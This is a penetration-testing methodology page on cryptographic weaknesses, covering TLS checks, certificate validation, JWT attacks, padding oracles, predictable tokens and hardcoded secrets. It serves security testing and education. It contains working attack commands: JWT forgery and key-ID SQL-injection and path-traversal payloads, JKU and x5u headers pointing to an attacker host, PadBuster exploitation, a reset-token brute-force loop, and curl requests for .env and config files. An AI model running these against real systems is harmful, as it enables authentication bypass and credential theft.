Skip to main content
CWECWE-327, CWE-326
WSTGWSTG-CRYP-01, WSTG-CRYP-02, WSTG-CRYP-03, WSTG-CRYP-04
MITRE ATT&CKT1557
CVSS Range4.3-9.1
Toolstestssl.sh, sslscan
Difficulty🟡 intermediate

Cryptographic Weakness

Cryptographic weaknesses occur when an application uses broken algorithms, weak keys, insufficient entropy, improper certificate validation, or flawed cryptographic implementations. These failures expose encrypted data, authentication tokens, and transport-layer security to practical attacks. OWASP ranks Cryptographic Failures as A02 in their Top 10. The impact ranges from session hijacking and credential theft to full data exfiltration.

Quick Reference​

CWEs that map here: CWE-295 (Improper Certificate Validation), CWE-326 (Inadequate Encryption Strength), CWE-327 (Broken or Risky Cryptographic Algorithm), CWE-330 (Insufficiently Random Values), CWE-347 (Improper Verification of Cryptographic Signature), CWE-328 (Use of Weak Hash), CWE-916 (Insufficient Password Hashing)

Three categories of cryptographic failure:

CategoryWhat to look forImpact
Transport layerWeak TLS versions, broken cipher suites, bad certificatesTraffic interception, MITM
Token/signatureJWT algorithm confusion, weak HMAC, predictable tokensAuthentication bypass, session hijack
Application cryptoWeak hashing, ECB mode, static IVs, padding oraclesData decryption, credential theft

Tools to have ready:

ToolPurpose
testssl.shComprehensive TLS/SSL assessment
openssl s_clientManual TLS connection testing
nmap --script ssl-*TLS vulnerability scanning
jwt_toolJWT manipulation and attack automation
hashcat / johnHMAC secret cracking, hash cracking
PadBusterPadding oracle exploitation
Burp SequencerToken randomness analysis

TLS/SSL Configuration Testing​

Protocol Version Check​

Test which TLS/SSL versions the server accepts. SSLv2, SSLv3, TLS 1.0, and TLS 1.1 are all deprecated and vulnerable.

# Full TLS assessment — run this first
testssl.sh --protocols --ciphers --vulnerabilities TARGET:443

# Quick protocol check with openssl
openssl s_client -tls1 -connect TARGET:443 </dev/null 2>&1 | grep "Protocol"
openssl s_client -tls1_1 -connect TARGET:443 </dev/null 2>&1 | grep "Protocol"
openssl s_client -tls1_2 -connect TARGET:443 </dev/null 2>&1 | grep "Protocol"
openssl s_client -tls1_3 -connect TARGET:443 </dev/null 2>&1 | grep "Protocol"

# Nmap cipher enumeration
nmap --script ssl-enum-ciphers -p 443 TARGET

If TLS 1.0 or 1.1 handshake succeeds, the server accepts deprecated protocols.

Cipher Suite Assessment​

Weak ciphers to flag:

Cipher typeWhy it's weakDetection
NULL ciphersNo encryption at alltestssl.sh -z TARGET
EXPORT ciphers40/56-bit keys, crackabletestssl.sh -e TARGET
RC4Biased keystream, practical plaintext recoverytestssl.sh -4 TARGET
3DES/DES64-bit block size, Sweet32 birthday attacktestssl.sh --ciphers TARGET
CBC mode (TLS 1.0)Vulnerable to BEAST, Lucky13Check cipher list for -CBC-
Anonymous (ADH/AECDH)No authentication, trivial MITMCheck for ANON in cipher list

Strong configuration requires: TLS 1.2+ with AEAD ciphers (AES-GCM, ChaCha20-Poly1305), ECDHE for forward secrecy, 2048-bit+ RSA or 256-bit+ ECDSA keys.

Named TLS Vulnerabilities​

Test for each of these. A single positive result is a finding.

Heartbleed (CVE-2014-0160) — OpenSSL memory disclosure. Leaks up to 64KB of server memory per request, including private keys and session data.

testssl.sh -B TARGET
nmap -p 443 --script ssl-heartbleed TARGET
# Metasploit: use auxiliary/scanner/ssl/openssl_heartbleed

POODLE (CVE-2014-3566) — SSLv3 CBC padding oracle. Decrypts one byte per 256 requests on average.

testssl.sh -O TARGET
nmap -p 443 --script ssl-poodle TARGET
# Manual: if SSLv3 handshake succeeds, vulnerable
openssl s_client -ssl3 -connect TARGET:443 </dev/null 2>&1

BEAST (CVE-2011-3389) — TLS 1.0 CBC chosen-plaintext attack. Requires MITM position.

testssl.sh --beast TARGET

DROWN (CVE-2016-0800) — Cross-protocol attack using SSLv2 to decrypt TLS sessions sharing the same RSA key.

testssl.sh -D TARGET
nmap -p 443 -sV --script sslv2-drown TARGET

FREAK (CVE-2015-0204) — Forces RSA_EXPORT downgrade to 512-bit keys.

testssl.sh -F TARGET

Logjam (CVE-2015-4000) — Diffie-Hellman downgrade to 512-bit export-grade parameters.

testssl.sh -J TARGET

ROBOT — Bleichenbacher oracle on RSA key exchange. Allows decryption of captured TLS sessions.

testssl.sh --robot TARGET

Sweet32 (CVE-2016-2183) — Birthday attack on 64-bit block ciphers (3DES). Practical after ~32GB of captured traffic.

testssl.sh --sweet32 TARGET
# Flag any 3DES cipher suites as vulnerable

CRIME (CVE-2012-4929) — Exploits TLS-level compression to extract secrets via ciphertext size.

testssl.sh -C TARGET
# Check for "Compression: zlib" in openssl output
openssl s_client -connect TARGET:443 </dev/null 2>&1 | grep "Compression"

BREACH (CVE-2013-3587) — Similar to CRIME but targets HTTP-level compression. If server returns Content-Encoding: gzip and reflects user input in responses, it may be exploitable.

# Check if HTTP compression is enabled
curl -sI -H "Accept-Encoding: gzip, deflate" https://TARGET/ | grep -i "content-encoding"

CCS Injection (CVE-2014-0224) — Premature ChangeCipherSpec allows MITM key compromise.

testssl.sh -I TARGET
nmap -p 443 --script ssl-ccs-injection TARGET

Renegotiation (CVE-2009-3555) — Insecure TLS renegotiation allows request injection.

testssl.sh -R TARGET

Certificate Validation​

Server Certificate Issues​

# Full certificate analysis
openssl s_client -connect TARGET:443 </dev/null 2>&1 | openssl x509 -noout -text

# Check specific fields
openssl s_client -connect TARGET:443 </dev/null 2>&1 | openssl x509 -noout -subject -issuer -dates -serial

Certificate checklist:

CheckWhat's wrongImpact
Self-signed certificateNo CA validationMITM trivial
Expired certificateNot After in the pastBrowsers warn, but APIs may ignore
Wrong CN/SANSubject doesn't match hostnameMITM if client doesn't verify
Weak signatureMD5 or SHA-1 signature algorithmCollision attacks feasible
Short keyRSA < 2048 bits or ECDSA < 256 bitsFactoring/discrete log attacks
Wildcard abuse*.example.com covers too many servicesCompromise of one service impacts all
Missing HSTSNo Strict-Transport-Security headerSSL stripping attacks

Client-Side Certificate Validation Bypass​

Many API clients and mobile apps skip certificate validation. Test for:

# Does the application accept a self-signed cert?
# Generate a self-signed cert for the target domain
openssl req -x509 -newkey rsa:2048 -keyout key.pem -out cert.pem -days 1 -nodes \
-subj "/CN=TARGET"

# If the app connects through a proxy with this cert, validation is broken
# mitmproxy or Burp with custom CA cert

# Check for certificate pinning bypass
# Mobile: Frida + objection to bypass pinning at runtime
# API clients: Check if they set verify=False or equivalent

JWT Attacks​

JSON Web Tokens are a common target because the cryptographic operations happen client-side and server-side with the token as the transport.

None Algorithm Attack​

Change the JWT header algorithm to "none" and remove the signature:

# Decode the JWT header (base64url)
echo "eyJhbGciOiJIUzI1NiJ9" | base64 -d
# {"alg":"HS256"}

# Forge: change alg to "none", modify payload, empty signature
# Header: {"alg":"none","typ":"JWT"}
# Payload: {"sub":"admin","role":"admin"}
# Token: base64url(header).base64url(payload).

# jwt_tool automates this
jwt_tool TOKEN -X a

Algorithm Confusion (RS256 to HS256)​

If the server uses RS256 (asymmetric), switch to HS256 (symmetric) and sign with the server's public key as the HMAC secret:

# 1. Get the server's public key
curl -s https://TARGET/.well-known/jwks.json | jq '.keys[0]'
# Or extract from the TLS certificate:
openssl s_client -connect TARGET:443 </dev/null 2>&1 | openssl x509 -pubkey -noout > pubkey.pem

# 2. Forge JWT: change alg to HS256, modify claims, sign with public key
jwt_tool TOKEN -X k -pk pubkey.pem

# 3. Submit the forged token
curl -H "Authorization: Bearer <FORGED_TOKEN>" https://TARGET/api/admin

Weak HMAC Secret Brute-Force​

If the server uses HS256/HS384/HS512, the secret may be weak or common:

# Crack with hashcat (mode 16500 = JWT)
hashcat -m 16500 -a 0 TOKEN wordlist.txt

# Crack with jwt_tool
jwt_tool TOKEN -C -d wordlist.txt

# Common weak secrets to try first:
# "secret", "password", "key", "jwt_secret", service name, empty string

Once cracked, re-sign tokens with arbitrary claims.

KID (Key ID) Injection​

The kid header field tells the server which key to use. If it's used in a file path or SQL query without sanitization:

# Path traversal — force server to use /dev/null (empty key) or known file
jwt_tool TOKEN -I -hc kid -hv "../../dev/null" -S hs256 -p ""
jwt_tool TOKEN -I -hc kid -hv "../../etc/hostname" -S hs256 -p "$(cat /etc/hostname)"

# SQL injection — inject into key lookup query
jwt_tool TOKEN -I -hc kid -hv "' UNION SELECT 'attacker-controlled-key' -- " -S hs256 -p "attacker-controlled-key"

JWK / JKU / X5U Header Injection​

Embed your own key or point to an attacker-controlled key server:

# JWK injection — embed attacker's public key in token header
jwt_tool TOKEN -X i

# JKU injection — point to attacker's JWKS endpoint
jwt_tool TOKEN -X s -ju "https://ATTACKER/jwks.json"

# x5u injection — point to attacker's certificate
jwt_tool TOKEN -I -hc x5u -hv "https://ATTACKER/cert.pem"

Psychic Signature (CVE-2022-21449)​

Java 15-17 ECDSA vulnerability — zero-valued signatures are accepted as valid:

# Only works against Java 15-17 with ES256/ES384/ES512
# Forge: keep header and payload, replace signature with base64url of r=0, s=0
# Signature bytes: MAYCAQACAQA (base64url-encoded ASN.1 zero signature)
jwt_tool TOKEN -X es

Padding Oracle​

Padding oracle attacks target CBC-mode encryption where the server leaks whether decrypted padding is valid through different error messages or response timing.

Detect​

Look for encrypted tokens in cookies, URL parameters, or request bodies (typically base64-encoded, length is a multiple of the block size — 16 bytes for AES).

# Modify the last byte of the ciphertext and observe responses
# Different errors indicate a padding oracle:
# - HTTP 500 "Padding is invalid" vs HTTP 500 "Decryption failed"
# - HTTP 200 vs HTTP 500 (valid padding decrypts to valid app data vs invalid)
# - Response time differences (valid padding processes further)

# Flip bits in the second-to-last block (affects padding of last block)
# If responses differ based on which byte you flip, padding oracle exists

Exploit​

# PadBuster — automated padding oracle exploitation
# Decrypt an encrypted value:
padbuster https://TARGET/page?token=ENCRYPTED_TOKEN ENCRYPTED_TOKEN 16

# Encrypt arbitrary plaintext (for forging tokens):
padbuster https://TARGET/page?token=ENCRYPTED_TOKEN ENCRYPTED_TOKEN 16 \
-plaintext "admin=true"

# Specify encoding if needed:
# -encoding 0 = Base64
# -encoding 1 = Lowercase hex
# -encoding 2 = Uppercase hex
# -encoding 3 = .NET URL token
# -encoding 4 = Web-safe Base64

ASP.NET-specific: .NET ViewState and __EVENTVALIDATION fields are common padding oracle targets. If the server returns different errors for tampered ViewState, it's exploitable.

Weak Random / Token Predictability​

Detect Weak Entropy​

Capture multiple tokens (session IDs, CSRF tokens, password reset tokens, API keys) and analyze randomness:

# Collect tokens
for i in $(seq 1 100); do
curl -s -D - https://TARGET/login -o /dev/null | grep "Set-Cookie" >> tokens.txt
done

# Use Burp Sequencer for statistical analysis:
# 1. Send the request to Sequencer
# 2. Select the token position
# 3. Start live capture (2000+ samples recommended)
# 4. Analyze — look for effective entropy < 64 bits

Common Weak Patterns​

PatternHow to detectExploit
Sequential IDsTokens increment by 1 or small offsetPredict next token
Timestamp-basedConvert token to epoch, matches request timeGenerate tokens for any time
Weak PRNG seedMath.random(), rand(), random.RandomRecover seed from outputs, predict future values
MD5/SHA1 of predictable inputmd5(user_id + timestamp)Reconstruct inputs, generate valid tokens
Short tokens< 16 bytesBrute-force the token space

Exploit Token Prediction​

# If tokens are sequential:
# Current token: 1000042 → next: 1000043, 1000044, ...
# Try accessing other users' resources with predicted tokens

# If timestamp-based (e.g., password reset):
# 1. Request password reset at known time
# 2. Generate candidate tokens for timestamps around that time
# 3. Try each candidate against the reset endpoint
for ts in $(seq $START_EPOCH $END_EPOCH); do
TOKEN=$(echo -n "user@example.com$ts" | md5sum | cut -d' ' -f1)
curl -s "https://TARGET/reset?token=$TOKEN" | grep -q "success" && echo "FOUND: $TOKEN at $ts"
done

# If PRNG state can be recovered:
# Use language-specific PRNG crackers (e.g., randcrack for Python's Mersenne Twister)
# Collect 624 consecutive 32-bit outputs to fully recover MT19937 state

Hardcoded Keys and Secrets​

Where to Find Them​

# JavaScript bundles — search for crypto-related strings
curl -s https://TARGET/static/js/main.js | grep -iE "(secret|key|password|hmac|aes|encrypt|jwt)" | head -20

# .well-known endpoints
curl -s https://TARGET/.well-known/jwks.json
curl -s https://TARGET/.well-known/openid-configuration

# Source maps (if exposed)
curl -s https://TARGET/static/js/main.js.map | jq '.sources'

# Error pages may leak keys in stack traces
curl -s https://TARGET/api/debug
curl -s https://TARGET/api/error

# Config files
curl -s https://TARGET/.env
curl -s https://TARGET/config.json
curl -s https://TARGET/appsettings.json

Key Reuse Across Environments​

If you obtain a key from a dev/staging environment:

# Test if the same key works in production
# Sign a JWT with the staging key and submit to production
jwt_tool STAGING_TOKEN -T -S hs256 -p "STAGING_SECRET"
curl -H "Authorization: Bearer <FORGED_TOKEN>" https://PRODUCTION/api/me

# Test if a key from one service works on another
# Shared keys across microservices = lateral movement

Weak Algorithms in Application Code​

Weak Hashing​

If the application uses MD5 or SHA-1 for authentication, integrity checks, or signatures:

# Identify hash type by length
# 32 hex chars = MD5
# 40 hex chars = SHA-1
# 64 hex chars = SHA-256

# If password hashes use MD5/SHA-1 without salt:
hashcat -m 0 hash.txt wordlist.txt # MD5
hashcat -m 100 hash.txt wordlist.txt # SHA-1

# If HMAC uses MD5:
hashcat -m 50 hash.txt wordlist.txt # HMAC-MD5

# If file integrity uses MD5 — collision attacks are practical
# Generate two files with the same MD5 but different content
# Use HashClash or fastcoll for MD5 collision generation

ECB Mode Detection​

ECB encrypts identical plaintext blocks to identical ciphertext blocks. If you can observe this pattern, ECB is in use:

# Submit repeated plaintext and check for repeated blocks in ciphertext
# Example: register two users with identical data, compare encrypted cookies
# If 16-byte blocks repeat in the ciphertext, it's ECB

# ECB allows block-level manipulation:
# Cut-and-paste attack: swap ciphertext blocks to rearrange encrypted data
# Example: swap the "role=user" block with "role=admin" from another context

Static or Reused Initialization Vectors​

If the same IV is used for every encryption operation, identical plaintexts produce identical ciphertexts:

# Test: encrypt the same value twice and compare ciphertexts
# If ciphertexts are identical, IV is static or missing

# With CBC and a known IV:
# XOR the IV with your desired plaintext block to control decryption of block 1
# This enables chosen-plaintext manipulation of the first block

Sensitive Data Over Unencrypted Channels​

Mixed Content and HTTP Fallback​

# Check if sensitive endpoints accept HTTP
curl -v http://TARGET/api/login 2>&1 | head -20
curl -v http://TARGET/api/me 2>&1 | head -20

# Check HSTS header
curl -sI https://TARGET/ | grep -i "strict-transport-security"
# Missing HSTS = SSL stripping is possible

# Check for HTTP to HTTPS redirect (and whether credentials travel in the redirect)
curl -v -L http://TARGET/login 2>&1 | grep -E "(Location|Cookie|Authorization)"

# Internal API traffic — if you have network access:
# Sniff for plaintext HTTP between microservices
# tcpdump -i any -A port 80 | grep -i "authorization\|cookie\|password"

Tools​

ToolPurposeWhen to use
testssl.shFull TLS/SSL assessment — protocols, ciphers, vulnsFirst tool to run. Covers all named TLS attacks in one pass (testssl.sh TARGET)
openssl s_clientManual TLS connection and cert inspectionWhen you need specific protocol/cipher tests or cert field analysis
nmap ssl- scripts*TLS vuln scanning and cipher enumerationQuick scanning: nmap --script ssl-enum-ciphers,ssl-heartbleed,ssl-poodle -p 443 TARGET
jwt_toolJWT manipulation — all attack typesAny JWT target. Automates none/algorithm confusion/injection attacks (jwt_tool TOKEN -X a)
hashcatHMAC secret cracking, hash crackingAfter capturing JWT with HS256 (hashcat -m 16500 TOKEN wordlist.txt)
PadBusterPadding oracle exploitationAfter confirming differential error responses for tampered ciphertext
Burp SequencerToken entropy analysisCollect 2000+ tokens, analyze for statistical weaknesses
CyberChefEncoding/decoding, crypto operationsQuick base64/hex/JWT decode and manipulation

testssl.sh workflow — run this first for any TLS target:

# Clone and run
git clone https://github.com/drwetter/testssl.sh.git
cd testssl.sh

# Full assessment with HTML output
./testssl.sh --html TARGET:443

# Quick vulnerability-only scan
./testssl.sh --vulnerable TARGET:443

# Check specific attacks
./testssl.sh --heartbleed --poodle --robot --drown --beast --freak --logjam TARGET:443

jwt_tool workflow:

# Install
pip install jwt_tool

# Scan all attacks automatically
jwt_tool TOKEN -M at

# Tamper with specific claims
jwt_tool TOKEN -T -S hs256 -p "secret"

# Dictionary attack on HMAC secret
jwt_tool TOKEN -C -d /usr/share/wordlists/rockyou.txt

Prioritization​

Test these first (highest real-world exploitability)​

  1. Weak or missing TLS configuration -- EPSS >0.5 for TLS misconfiguration CVEs. Test for SSLv3, TLS 1.0/1.1, weak cipher suites (RC4, DES, export ciphers), and missing HSTS headers. Use testssl.sh or sslscan for rapid assessment. These are the most commonly found and easily exploited cryptographic weaknesses.
  2. Weak password hashing -- MD5, SHA1, or unsalted hashes for password storage. If password hashes are accessible (via SQLi or other vulnerabilities), weak hashing makes credential recovery trivial.
  3. Weak JWT signing secrets -- Brute-force HS256/HS384/HS512 secrets with hashcat or jwt_tool. Common weak secrets (secret, password, app name) are found frequently and yield full authentication bypass.

Test these if time permits (lower exploitability)​

  1. Insufficient randomness in tokens -- Analyze session tokens, CSRF tokens, and password reset tokens for predictable patterns (timestamp-based, sequential, low entropy). Requires collecting multiple samples.
  2. Improper certificate validation -- Test if the application validates server certificates when making outbound HTTPS requests. Common in microservice architectures and API integrations.
  3. Use of deprecated cryptographic algorithms in application logic -- ECB mode encryption, RSA without padding, deterministic encryption of sensitive data. Requires access to encrypted data or ciphertext analysis.

Skip if​

  • Application uses TLS 1.2+ exclusively with strong cipher suites and HSTS is enforced
  • All authentication tokens are generated by a well-known framework or identity provider with no custom cryptographic logic
  • No encrypted data is accessible for analysis and no password hashes have been obtained

Asset criticality​

Prioritize by data protection impact: TLS protecting authentication/payment flows > password hash strength > token signing > data-at-rest encryption > certificate validation in internal services. Cryptographic weaknesses on internet-facing TLS are always higher priority than internal-only issues.